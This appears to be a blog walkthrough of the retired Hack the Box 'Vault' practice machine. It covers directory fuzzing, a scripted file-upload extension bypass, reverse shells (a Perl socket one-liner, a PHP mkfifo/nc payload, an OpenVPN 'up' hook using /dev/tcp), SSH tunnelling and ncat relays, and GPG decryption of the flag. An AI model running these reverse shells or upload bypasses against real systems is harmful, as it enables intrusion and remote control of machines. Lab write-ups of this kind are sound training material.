Hack the Box – Vault Walkthrough

Today we’re going to solve another CTF machine “Vault“. It is now retired box and can be accessible if you’re a VIP member.


  • Target OS: Linux
  • IP Address:
  • Difficulty: Medium


  • Getting user
  • Getting root


As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).


Let’s browse the URL

As the page mention Sparklays let’s check if there’s a directory under that name.

Now, we know that we have some hidden stuff let’s enumerate directory using dirbuster.


We found admin.php, login.php and another 403 directory /sparklays/design/ let’s dig more into design directory first.


We’re going to use Cewl to generate the wordlists based upon the words you found on the website.

cewl | tr '[:upper:]' '[:lower:]' > words.txt

Now, let’s enumerate for directories using WFuzz.

wfuzz -c -w words.txt --hc 404

Let’s enumerate more into ‘sparklays’ directory using wfuzz.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -R2 --hc 404 --hl 11


gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 2>/dev/null

Now we’re talking!

We can start uploading with something which is not an image to see which file extension restrictions it has or we can use simple bash script to automate this process.

File Upload Bypass

The wordlist is derived from /etc/mime.types like so.

awk '{ $1 = ""; print $0 }' /etc/mime.types | sed -r -e 's/^ //g' -e '1,26d' -e '/^$/d' | tr ' ' '\n' > extensions.txt




curl -s \
     -F "[email protected];filename=info.${EXT}" \
     -F "submit=upload+file" \
     $URL \
| sed '1!d' \
| cut -d '<' -f1 \
| grep success &>/dev/null && echo "[+] Uploaded: $UPLOADS/info.${EXT}"
time parallel -j40 ./script.sh {} < extensions.txt

[+] Uploaded:
[+] Uploaded:
[+] Uploaded:
[+] Uploaded:
[+] Uploaded:
[+] Uploaded:

Look’s like we can upload php using php5 extension.

Now, we can easily spawn a reverse shell.

cat code.sh 


curl -s \
        -F "[email protected]" \
        -F "submit=upload+file" \
        $URL \
| grep success &>/dev/null && echo "[+] Uploaded [+]"

[+] Uploaded [+]

Let’s get a proper reverse shell now!

perl -e 'use Socket;$i="";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'


<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"); ?>

Reverse Shell Cheat Sheet

Start up the listener.

Awesome we have a shell now, let’s move towards getting a fully interactive tty shell.

Upgrading simple shells to fully interactive TTYs

After doing some enumeration you can find interesting files in /home/dave/Desktop.

$ ls -la /home/dave/Desktop
total 20
drwxr-xr-x  2 dave dave 4096 Sep  3 06:51 .
drwxr-xr-x 18 dave dave 4096 Sep  3 08:34 ..
-rw-rw-r--  1 alex alex   74 Jul 17  2018 Servers
-rw-rw-r--  1 alex alex   14 Jul 17  2018 key
-rw-rw-r--  1 alex alex   20 Jul 17  2018 ssh

Here’s what they include. In Servers we have network information and inside key and ssh we have i believe ssh creds.

[email protected]:~/dave/Desktop$ cat Servers  
DNS + Configurator -
Firewall -
The Vault - x
[email protected]:~/dave/Desktop$ cat key
[email protected]:~/dave/Desktop$ cat ssh

Let’s try ssh [email protected] with password: Dav3therav3123

Now we can take a look at network information which we found. lets type ifconfig and check.

Notice that the host has many virtual network interfaces. One of them links to virtual bridge


Let’s scan for open ports to see what we’re up against.

[email protected]:~$ for p in $(seq 1 10000); do (nc -w1 -nvz $p 2>&1 | grep succeed); done

Connection to 22 port [tcp/*] succeeded!
Connection to 80 port [tcp/*] succeeded!

[email protected]:~$ nc -zv 1-65535 2>&1 | grep succeeded

Connection to 22 port [tcp/ssh] succeeded!
Connection to 80 port [tcp/http] succeeded!

We can see SSH and HTTP ports are opened in but since, we don’t have curl installed on dave machine. we’re gonna port forward and enumerate on our machine.

SSH Port Forwarding

man ssh:
-L [bind_address:]port:host:hostport
ssh -L 8000: [email protected]

Now, let’s navigate to localhost:8000 to see what we got on port 80.

Dynamic SSH Port Forwarding

man ssh:
-f To request ssh to go background.
-N Do not execute a remote command.
-D Dynamic port forwarding.
ssh -D9999 [email protected] -f -N 2>/dev/null

FoxyProxy socks5://


Let’s setup proxychains with dynamic SSH port forwarding to make our enumeration process more easier to use tools.

ssh -fND 1337 [email protected]

Let’s modify /etc/proxychains.conf & add socks5 1337

Now, let’s scan for opened ports using nmap.

proxychains nmap -sT -Pn

Now, i’m using SSH Port forwarding and using Foxy-proxy addon.

Let’s enumerate more and find hidden directories.

Directory Enumeration


wfuzz -w /opt/SecLists/Discovery/Web-Content/common.txt --hc '403,404' --hw '35' -t 20 http://localhost:8000/FUZZ

We found a directory called notes and it indicates two files which exists in the root of localhost:8000/123.ovpn and script.sh.


curl -i 'http://localhost:8000/123.ovpn' && echo
HTTP/1.1 200 OK
Date: Thu, 18 Apr 2019 12:40:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Sun, 02 Sep 2018 14:21:46 GMT
ETag: "79-574e4250e6860"
Accept-Ranges: bytes
Content-Length: 121

dev tun
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"


curl -i 'http://localhost:8000/script.sh' && echo
HTTP/1.1 200 OK
Date: Thu, 18 Apr 2019 12:40:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Tue, 17 Jul 2018 09:50:24 GMT
ETag: "23-5712edffeb800"
Accept-Ranges: bytes
Content-Length: 35
Content-Type: text/x-sh

sudo openvpn 123.ovpn

The .ovpn file it’s the one we can edit and run in /vpnconfig.php.

Now, setup the listener on dave SSH machine.

We got root shell to DNS. User flag is inside /home/dave/. 

There’s a SSH file /home/dave/ssh But we don’t know where this could be used.

Password: dav3gerous567

It look’s like we found the SSH credential for which is [email protected] and we can upgrade our reverse shell to SSH. Let’s exit from reverse shell and login to SSH.

[email protected]:~$ ssh [email protected]
[email protected]'s password: dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

98 packages can be updated.
50 updates are security updates.

Last login: Mon Sep  3 16:38:03 2018
[email protected]:~$ 

Now, we’re in the dave DNS proper way. Before we had to spawn a reverse shell through VPN configurator.

Since, we’re enumerating network of this machine let’s do some digging.

We discovered DNS has access to through the firewall at Check out the routing table.

[email protected]:/home/dave# route -n
route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface   UG    0      0        0 ens3   U     0      0        0 ens3

We still haven’t found the vault host yet. but i think it should be inside subnet.

If we check /etc/hosts file we can see the IP of our target machine which is

[email protected]:~$ cat /etc/hosts       localhost       DNS     Vault
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Let’s check logs and grep for string ‘192.168.5.’ inside those files.

find /var/log -type f -exec grep -Hina '192.168.5.' {} \;

/var/log/auth.log:1376:Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap -Pn --source-port=4444 -f

/var/log/auth.log:1381:Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 987 -p 53

/var/log/auth.log:1383:Sep  2 15:10:34 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 987 -p 53

We found something interesting firewall accepting inbound traffic from port 4444 to host which is listening on port 987.

Let’s find out what’s running on port 987.

[email protected]:~$ ncat -p 4444 987
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

Let’s find out what’s behind that port 4444 on our vault machine.

[email protected]:~$ nmap -Pn --source-port=4444 -f
Sorry, but fragscan requires root privileges.

It look’s like we need root privilege let’s check sudo -l

[email protected]:~$ sudo -l
[sudo] password for dave: 
Matching Defaults entries for dave on DNS:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dave may run the following commands on DNS:
    (ALL : ALL) ALL

I think we can use sudo with nmap.

[email protected]:~$ sudo nmap -Pn --source-port=4444 -f

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-18 16:58 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (
Host is up (0.0028s latency).
Not shown: 999 closed ports
987/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds

Nothing interesting comes up.

To access Vault from Kali, we’ll need to set up another tunnel. Additionally, we’ll need to set up a netcat relay like the ones we found in the logs. Let’s start with the tunnel.

SSH comes with a slew of options, particularly the ProxyCommand option allows ssh to proxy traffic through a network utility tool like ncat.

[email protected]:~$ ssh -o 'ProxyCommand ncat -p 4444 %h %p' -p 987 [email protected] -t 'bash -i'
[email protected]'s password: dav3gerous567
[email protected]:~$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave)
[email protected]:~$ 

We got vault! Let’s change the SHELL environment variables.

[email protected]:~$ echo $SHELL
[email protected]:~$ export SHELL=/bin/bash:$SHELL
[email protected]:~$ bash
[email protected]:~$ export SHELL=/bin/bash:$SHELL
[email protected]:~$ ssh [email protected] -p 1234 -t "bash --noprofile"

Our root flag is encrypted.

Root File Decryption

[email protected]:~$ ls
[email protected]:~$ file root.txt.gpg 
root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .

To decrypt the file we need a private key and a password.

We found a private key inside /home/dave/.gnupg/secring.gpg [email protected]

[email protected]:~$ gpg --list-secret-keys
sec   4096R/0FDFBFE4 2018-07-24
uid                  david <[email protected]>
ssb   4096R/D1EB1F03 2018-07-24

Let’s convert into base64  encoded string using python3m.

[email protected]:~$ python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"

Copy and paste to the ubuntu machine and base64 decode it back.

[email protected]:~/Documents$ echo -n hQIMA8d4xhDR6x8DARAAoJjq0xo2bn5JfY3Q6EMVZjkwUK7JPcwUEr1RNUx98k41oOFdtugxUjwHSZ9x9BU9sph696HhlKlPO0au7DeFyxqPFbjR2CdwoT9PBf8vuSEzEqVltvAq31jQbXpUSA2AxYSj3fWKCAkIPcUBTTcJAnac0EMmXlAQzdAmvFEU+9BRkcpJDSpYV8W2IQf+fsnh14hcc5tXZQZX0mPtLlwYVlJq4xgpV3znnJrrlUgKJqkqhq1i2/JEAL5Ul1k5as9Ha1N8KffjmfEsrRQl8TS5NLoC3mVp3w90X0LYhyDcRz7HPzXfdPMdM+G9NEX1zY4c6cr1sxOdLcpUwbZ4itd7XjCA71B23Ncd7eniLGCkErDaVkZh8oa4DyIG78bxqFTDgk6XrH6pz9XRXhDBSZnCezI90WkbxGecOB42cAOwGkuHcnSF44eXDT60Yl9h6bvRZVEQF3/39ee+nMaW5b5PnWzGb/PC4kT3ZDeWYSiloF6a5sOwDO2CL/qipnAFPj8UthhrCCcQj4rRH2zeeh4y9fh3m3G37Q+U9lNgpjzj0nzVCfjdrMRvUs5itxwpjwaxN6q2q1kxe1DhPCzaAHhLT7We7p2hxdSj1yPgefSzJ39GENgJI1fbTDEaMzwkPra4I2MiJCEVgZnV29oRHPYrmGsfx4tSkBy6tJW342/s88fSZAFwRHa6C9Hrr7GSVucoJ5z2kNKAPnS/cUmBc3OdeJlMxdfzQTMucmv89wwgNgKNLO6wmSFppVRnpmLE+AFoCEqg/JS91N5mVhZPkHwW6V94CxMF/3xqTMKpzBfdERq0MGYij98= | base64 -d > root.txt.gpg
[email protected]:~/Documents$ ls
[email protected]:~/Documents$ gpg --list-secret-keys
sec   4096R/0FDFBFE4 2018-07-24
uid                  david <[email protected]>
ssb   4096R/D1EB1F03 2018-07-24

[email protected]:~/Documents$ gpg -d root.txt.gpg 

You need a passphrase to unlock the secret key for
user: "david <[email protected]>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
      "david <[email protected]>"


Back to top button